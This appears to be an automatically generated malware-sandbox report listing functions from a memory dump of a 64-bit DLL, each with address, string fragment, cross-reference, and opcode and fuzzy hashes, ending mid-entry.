Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-4048615937
Opcode ID: 35f082249332f6d240efb6a3c148916e58dc78f6fac7b8448015639dc79bfce0
Instruction ID: b0185e3000dff54f49d8606eba530083518bcd1c244eb05af1b54d96feabf3c3
Opcode Fuzzy Hash: 35f082249332f6d240efb6a3c148916e58dc78f6fac7b8448015639dc79bfce0
Instruction Fuzzy Hash: 33D14A715047888BDBF9CF24C88A7D97BE1FB89304F50861DE88ECA291DB749659CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018778 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

w, xrefs: 0000000180018AFF

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: w
API String ID: 0-4210951952
Opcode ID: 450a975b33d67058faa5ef23269fdb7d474cb1b00904f6db6eeb6156179070ce
Instruction ID: 98e286694507409f0343718d484b9c1230728cd38d8ca75ba1cdcc522b4ff82c
Opcode Fuzzy Hash: 450a975b33d67058faa5ef23269fdb7d474cb1b00904f6db6eeb6156179070ce
Instruction Fuzzy Hash: CCD1F27550670DCBEBA9CF28C58A6DE3BE5FF48304F104129FC1A862A1D7B4EA25CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

k |P, xrefs: 0000000180017C97

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: k |P
API String ID: 0-500141808
Opcode ID: 1aac0f1d3442458b59664808ae9574f9abf7ab878da11c77e58f892187b88b3f
Instruction ID: bdb77ffc642b3299673720cbbe7adc6e022f36649dc5c9d605d8e1814f76fd65
Opcode Fuzzy Hash: 1aac0f1d3442458b59664808ae9574f9abf7ab878da11c77e58f892187b88b3f
Instruction Fuzzy Hash: 28913B30E0061DDBEF69CFA9E8896DDB7B1FB44344F40822DE416A72A1DB74994ACF41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019230 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

{?, xrefs: 00000001800194A9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: {?
API String ID: 0-3906500937
Opcode ID: 2d540e23551ce5f958f4764bec98e9519d494356363efa56796c0522d6c48830
Instruction ID: 7643702d073ff4940ecce4f9a509df35797120a70f9b1d87fbff4b68fa84022d
Opcode Fuzzy Hash: 2d540e23551ce5f958f4764bec98e9519d494356363efa56796c0522d6c48830
Instruction Fuzzy Hash: 90B157B590070DCFEB98CF68C18A9DD3BA9FB15358F404129FC0E96290D7B9E919CB52

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000871C Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

Rg, xrefs: 00000001800089A3

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Rg
API String ID: 0-444783058
Opcode ID: 062f6907516fb83770376f4ae06b90337ece7bd6ef9ef592e7bb1771c5ef6bb2
Instruction ID: de0b65e82f7df1f72d442b51ab019ddee83380224b4c4f084cb2c80ee98f37ca
Opcode Fuzzy Hash: 062f6907516fb83770376f4ae06b90337ece7bd6ef9ef592e7bb1771c5ef6bb2
Instruction Fuzzy Hash: 9A91087150424D8BEF48CF68C88A6DE3FF0FB18398F255219E84AA6290D778D654CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D32C Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

RC/, xrefs: 000000018001D40F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: RC/
API String ID: 0-1672839029
Opcode ID: cd45515637f1f2b16c20ca83177dd82b64ca54d483ea71e032997c7aebad3db9
Instruction ID: 3bbf9db0e9f1f1cd2f3806796f1fd845787a3905c9f06ecb1b9c11751c7e15f2
Opcode Fuzzy Hash: cd45515637f1f2b16c20ca83177dd82b64ca54d483ea71e032997c7aebad3db9
Instruction Fuzzy Hash: 7291FA7150468DABDBBACF28DC9A7D937A0FB48344F90811AD90E8F290DF745B49DB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000AE84 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

XU, xrefs: 000000018000AFE4

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: XU
API String ID: 0-683303128
Opcode ID: e071b3a0d50c9461b57229d15226e783a6e60c7e98d42caa5a907250e51fd640
Instruction ID: 425e58cadb221d331942f6c121d336e4e4e9b3bb556196463e5803c943499b9b
Opcode Fuzzy Hash: e071b3a0d50c9461b57229d15226e783a6e60c7e98d42caa5a907250e51fd640
Instruction Fuzzy Hash: 10613B70D14608DBEB9CDFA4E8896DDBBB1FB48344F10812DE816E72A1DB749A49CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009298 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

F'K, xrefs: 00000001800094BB

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: F'K
API String ID: 0-2963079709
Opcode ID: 713e8163358f3e4ccf3a322240c7036fe92718bea1a19a215dd26039f06aebda
Instruction ID: 3cdbfef3d71ad5117e50a41d4a808b16c297a78b625f2c46d5022480677e20ff
Opcode Fuzzy Hash: 713e8163358f3e4ccf3a322240c7036fe92718bea1a19a215dd26039f06aebda
Instruction Fuzzy Hash: C481A5749043888BDBB9DF68C8897DDBBB0FB48348F20411EDC5AAB291DBB45685CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C974 Relevance: 1.4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

Strings

Gh, xrefs: 000000018001CB06

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Gh
API String ID: 0-277699601
Opcode ID: 7940fb094068dd5baf5e4535b0b949c1577390b24490b32456d4c9773adc2951
Instruction ID: 49f89991b7669aef05847bf6ac8085ae3f2e5bccc0c70176600d3bb48f89c730
Opcode Fuzzy Hash: 7940fb094068dd5baf5e4535b0b949c1577390b24490b32456d4c9773adc2951
Instruction Fuzzy Hash: A2512670614B48ABDBC9DE28C4C669D3FE1FB483A8FA06028FC4786295D774D4C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001660 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

KdW, xrefs: 000000018000170C

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: KdW
API String ID: 0-1553299040
Opcode ID: 3dbde57a559d0e97d3426f0fe397d2413bb4c768266781bd1ea48c4852796dec
Instruction ID: 07466cbb68b99a3b5ba183136cc33729b20d4f14bf8bba25a53fc7287070b877
Opcode Fuzzy Hash: 3dbde57a559d0e97d3426f0fe397d2413bb4c768266781bd1ea48c4852796dec
Instruction Fuzzy Hash: 17619EB090074A8BDF48CF28C49A59E7FB1FB68398F60421DFC5696290D374DAA5CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001364 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

5, xrefs: 00000001800014BD

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 5
API String ID: 0-2458008916
Opcode ID: 3e00d75dc5af6ed95834cd7e36aa8dd6f7dfadaf5872006e22b3d5cd376261b0
Instruction ID: a26923ab85f7e808caed84009aa606e64988cd015e626ed89f9c8f152d3751bb
Opcode Fuzzy Hash: 3e00d75dc5af6ed95834cd7e36aa8dd6f7dfadaf5872006e22b3d5cd376261b0
Instruction Fuzzy Hash: FD51BEB090074E8BDB48CF64C88B5DE7FB0FB68398F20421DEC5696294D3B496A5CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024098 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

>, xrefs: 000000018002413F

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-260571596
Opcode ID: 52da228a42332ba98b714843feb8a4ffa7a865caa0d47f3da51bcc1adbe3605a
Instruction ID: 46fc6c4e0ac0a664899e95d82bf5bf8fb1e46c637e697bbd607199efc3ac47d3
Opcode Fuzzy Hash: 52da228a42332ba98b714843feb8a4ffa7a865caa0d47f3da51bcc1adbe3605a
Instruction Fuzzy Hash: E351187090070E8FDF48DF68C48A5DE7FB0FB58398F255219E80AA6260C7789695CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018D0C Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

e#y, xrefs: 0000000180018DF8

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: e#y
API String ID: 0-1553523250
Opcode ID: 7cfc1742122b5da270b1305c98699770b0d8300b0d29b437b0f5bbbb71ff1cdb
Instruction ID: 8922a9c917ecf92f84784f2c0912e7afb41abd4682f2986cf207ea24a7e27a88
Opcode Fuzzy Hash: 7cfc1742122b5da270b1305c98699770b0d8300b0d29b437b0f5bbbb71ff1cdb
Instruction Fuzzy Hash: 4451C0B090034A8BDB48DF24C49A4DE7FB1BB68394F60461DEC56AA290D37896A5CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002748C Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

;Qe+, xrefs: 0000000180027515

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ;Qe+
API String ID: 0-3743842969
Opcode ID: abc73cde212dc252b0e5d03e266be842b85d1299fa2b3d615a0caa319cbc98b6
Instruction ID: 2891cc472bdff435687e8dc78c7f584053815dc88c3a0ad3e69441950bb252b7
Opcode Fuzzy Hash: abc73cde212dc252b0e5d03e266be842b85d1299fa2b3d615a0caa319cbc98b6
Instruction Fuzzy Hash: FB51B3B190074A8BDB48CF68C49A5DE7FB0BB68398F114229EC5696250D374DAA5CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800069C0 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

,', xrefs: 0000000180006AFA

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ,'
API String ID: 0-3722628154
Opcode ID: fb5c24a2de7b785ef7d1522db3a7cd1fc0c6d32909dcdfd4e7ef4007326c169e
Instruction ID: 8bcc0ae8ca8a44d8cc4a64df71be4da37ed53fd059e3607e1506b6ed9a83d4bd
Opcode Fuzzy Hash: fb5c24a2de7b785ef7d1522db3a7cd1fc0c6d32909dcdfd4e7ef4007326c169e
Instruction Fuzzy Hash: 9C51E3B091074A8FDB48CF68C9865DE7FB0FB68394F10421DEC5AA6290D37496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F174 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

;qct, xrefs: 000000018000F2B3

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ;qct
API String ID: 0-1256533914
Opcode ID: 7e5896647748426d00c93f1e327efcd977346de81977c4c15da4b7b9c787c365
Instruction ID: 5c1d59b2199d0d85db2571b197c7ca3ede17e59358e5629c23b069c973ffe58b
Opcode Fuzzy Hash: 7e5896647748426d00c93f1e327efcd977346de81977c4c15da4b7b9c787c365
Instruction Fuzzy Hash: B741E27051078D8BDB49CF68C88A4DE7BA0FB4835CF155619FC8AA6260D3B8D585CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009BEC Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

%[, xrefs: 0000000180009CD2

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %[
API String ID: 0-3862537531
Opcode ID: f1dc08e8e3e3301475fb70ff4cfa84bb86d735aa649ff25d3a10773117e6cde7
Instruction ID: 6a4ad4b0db03769040014b30bff45f2a66b5b8118bf8a9f7d20fa3eb207c29ac
Opcode Fuzzy Hash: f1dc08e8e3e3301475fb70ff4cfa84bb86d735aa649ff25d3a10773117e6cde7
Instruction Fuzzy Hash: 6E31D6B150478A8BDB4CDF68D8565AE3BB1FB48304F004A2DFD26DB390D7B49624CB94

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002629C Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

Wn, xrefs: 00000001800263A2

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: Wn
API String ID: 0-506041651
Opcode ID: 571cac09fbe3685261a59c499fbd8c80fdf8cf6d47964e918e1805a2c447958a
Instruction ID: 81acd842a4d7b99bb8f16045e05b91d2bb3390d65dcb5750e05b0634c9df5c42
Opcode Fuzzy Hash: 571cac09fbe3685261a59c499fbd8c80fdf8cf6d47964e918e1805a2c447958a
Instruction Fuzzy Hash: 5F41D4B050078A8FDF48CF68D89A5DE7BB1FB48348F104A2CEC6696290D3B4D664CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002834 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

"p, xrefs: 00000001800028A3

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: "p
API String ID: 0-3060671971
Opcode ID: ae29b2ab0911a73132ecede333d1ad00ec6016c3b77c06c2e3197b8238caa4ac
Instruction ID: 6d64e93883db61d95f36b7a5a375b7ada03e85890cb65b9286afd9a0e7997e4a
Opcode Fuzzy Hash: ae29b2ab0911a73132ecede333d1ad00ec6016c3b77c06c2e3197b8238caa4ac
Instruction Fuzzy Hash: 42317EB190438E8FDB48DF68D85A5AE3BA0FB48344F014A1DEC269B354D7B4D664CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007694 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

3k^), xrefs: 00000001800076E9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 3k^)
API String ID: 0-3788653604
Opcode ID: bb4a256fcbfa579ec56a1ee2ed7beb19ee26f98eb9724182ed08b84c2a93462e
Instruction ID: 9f8dcddef577f6809e8fc1cb2f7e992fa0b5e1cd21e70ff7818dd4bfba9124f9
Opcode Fuzzy Hash: bb4a256fcbfa579ec56a1ee2ed7beb19ee26f98eb9724182ed08b84c2a93462e
Instruction Fuzzy Hash: B7417FB090474E8BDB44CF64C48A5CE7FB0FB68398F200619F859A6250D3B8D6A5CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078B6 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

L>, xrefs: 00000001800078C4

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: L>
API String ID: 0-3698593629
Opcode ID: 4505467bed29688f524a608710bc2007b6739dbdf074f8a934cd9a0936b0c64f
Instruction ID: d89d460aa873d83448a17f0a74045e6cf2e1d6238d53f49acea812bb04bd12ae
Opcode Fuzzy Hash: 4505467bed29688f524a608710bc2007b6739dbdf074f8a934cd9a0936b0c64f
Instruction Fuzzy Hash: C23193716183818BD748DF28D45652ABBE1FB8D30CF504B2DF8CAA7255D738D605CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018ECC Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

4s, xrefs: 0000000180018F49

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 4s
API String ID: 0-872399246
Opcode ID: 6d87eca2fd37755a10645a04d53ddd8ccaa51cb07cf26575bdb0066d7b11df8f
Instruction ID: eeb76c7ae662c84e9fd1594776157fcd1e0c77f05a4f9c485f3ea2b2cc7d31c8
Opcode Fuzzy Hash: 6d87eca2fd37755a10645a04d53ddd8ccaa51cb07cf26575bdb0066d7b11df8f
Instruction Fuzzy Hash: 314181B090474A8FDB48CF64D48A5DF7FB0FB68398F200519E859A62A0D378D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BD00 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

&', xrefs: 000000018000BDEC

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: &'
API String ID: 0-655172784
Opcode ID: 350a21f38a3fdb5f3133185a05ab1b6e8489f4d150297426f8e9146ad85da26a
Instruction ID: e60b1eca4cd057e5464165fc71d6e00ca11e6494182570a2c7a3ee484fb5e5db
Opcode Fuzzy Hash: 350a21f38a3fdb5f3133185a05ab1b6e8489f4d150297426f8e9146ad85da26a
Instruction Fuzzy Hash: DE3179755083818BD348DF28C55641ABBE1BBCC35CF805B2DE4CAAB3A4D778D605CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005590 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

`, xrefs: 0000000180005640

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: `
API String ID: 0-1850852036
Opcode ID: 1919c1110502d15319449504d6e91b7fa88324414ab81abcf7b1c29e64ecc28d
Instruction ID: 12f27fef96dc8894754dd231533b976fb372cf9f09be1d3cddb09b50d4677c93
Opcode Fuzzy Hash: 1919c1110502d15319449504d6e91b7fa88324414ab81abcf7b1c29e64ecc28d
Instruction Fuzzy Hash: 2221267065DB449FE388DF29C48961BBAE1FBD8340F905A1EF885C2360C734D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C364 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

BsL, xrefs: 000000018000C40D

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: BsL
API String ID: 0-590970710
Opcode ID: 4c7ca18370d47a9c2cceab002f43e00c4595808ca112b21f17e8f3d7773031d4
Instruction ID: bf3e705d0a3e127a6b239d821588e89859f67f6db20862a07d3c8d6d25b0e04a
Opcode Fuzzy Hash: 4c7ca18370d47a9c2cceab002f43e00c4595808ca112b21f17e8f3d7773031d4
Instruction Fuzzy Hash: 41317DB1529780AFD3C8DF28C48691BBBE0FB89314F816A2DF9C586260D374D455CF02

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001CCC Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

ZR, xrefs: 0000000180001DEC

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ZR
API String ID: 0-4130514108
Opcode ID: 6cbb8a842fd3cc15b819203d482a3a3b46369313eab12406f6265ee7f7ea0382
Instruction ID: b13af9977396cc860318babd94d7947ade869d3bdb5f1587fd609083ec60b6d4
Opcode Fuzzy Hash: 6cbb8a842fd3cc15b819203d482a3a3b46369313eab12406f6265ee7f7ea0382
Instruction Fuzzy Hash: 0B316EB052D780AFD388DF28C49691ABBE1FBC5315F806A1DF9968B350D774D445CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005478 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

%F, xrefs: 0000000180005566

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: %F
API String ID: 0-915744445
Opcode ID: cf4e8b82da0d821891615694ed2d7715b09984878493b04af082e458cdddcb63
Instruction ID: f3632c01bd7492b9d648e83c8b8289f5be8476ad9f7b0aa526bfe9f17a615d29
Opcode Fuzzy Hash: cf4e8b82da0d821891615694ed2d7715b09984878493b04af082e458cdddcb63
Instruction Fuzzy Hash: A1317AB15087809BD348DF28D44A45ABBE1BB9C31CF414B1DF4CAAB254D3B9D608CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E708 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

>, xrefs: 000000018000E80A

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-1166260821
Opcode ID: 7fdb2c55224cd27c72bb618ee64ca03bed07baaed02b8a8707ebf8ca8fbe557d
Instruction ID: a3d582c264d7a48cbd0e974e941d71c0af5034fa157bb054186120ff964f1b5c
Opcode Fuzzy Hash: 7fdb2c55224cd27c72bb618ee64ca03bed07baaed02b8a8707ebf8ca8fbe557d
Instruction Fuzzy Hash: 4F316BB55083808FD788DF28D45941ABBE0BB9C358F404B2DF4CAA72A1D778DA45CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009D24 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

-, xrefs: 0000000180009D48

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-524432557
Opcode ID: ab6574b7591fa644ef4a174e0089e3a7f2dde0b4bdacdeb17973816cbe5b2230
Instruction ID: 2743ae798d84361f3c47c0844efe4056bc1e573d44da25ce9fa5af028cbcbbd6
Opcode Fuzzy Hash: ab6574b7591fa644ef4a174e0089e3a7f2dde0b4bdacdeb17973816cbe5b2230
Instruction Fuzzy Hash: E22160B152D780AFD388DF29D18991BBBE0BB85344F806E1DF8C68B250D7B5D845CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018560 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

9D, xrefs: 00000001800185F7

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 9D
API String ID: 0-1055660748
Opcode ID: 7e3a213964b2efcfd3778a88dd8b399f98e251b5205d52f3c39e35f889fd4133
Instruction ID: 2b980fabc4745c60efad4018d3cdf33bc582eba9e1b676cceb4e0857b73aa84d
Opcode Fuzzy Hash: 7e3a213964b2efcfd3778a88dd8b399f98e251b5205d52f3c39e35f889fd4133
Instruction Fuzzy Hash: 6C2179B450C3858BD348DF28D14A51ABBE0BB9C70CF400B5DF8CAAB254D778D644CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022A84 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

]i, xrefs: 0000000180022A88

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: ]i
API String ID: 0-2057496602
Opcode ID: 986d758f6ca8ef85e847a0378ae5df520f089d8d24386f824cd21791a7bd6731
Instruction ID: 4a116e0a0ac8943674a44645b40dd0a83197eee35043817acb7aa81aadce2f0a
Opcode Fuzzy Hash: 986d758f6ca8ef85e847a0378ae5df520f089d8d24386f824cd21791a7bd6731
Instruction Fuzzy Hash: 492154B45087858BD398DF28D48A50AFBE0BB9C318F400B1DF4C9A62A4D77DDA45CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001B5C Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

x{, xrefs: 0000000180001BB9

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: x{
API String ID: 0-1642613173
Opcode ID: 63a3ae9201259adcdbe27aaae2969a84c8f8b5356c3378407a4e6cf7a642a0a4
Instruction ID: cfab1a828be9d4f11d62def22584f191cf8c0c6105b21f987aeed96694dfa2d1
Opcode Fuzzy Hash: 63a3ae9201259adcdbe27aaae2969a84c8f8b5356c3378407a4e6cf7a642a0a4
